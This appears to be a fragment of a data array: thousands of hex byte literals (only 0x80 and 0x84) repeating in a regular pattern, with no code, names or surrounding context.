0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 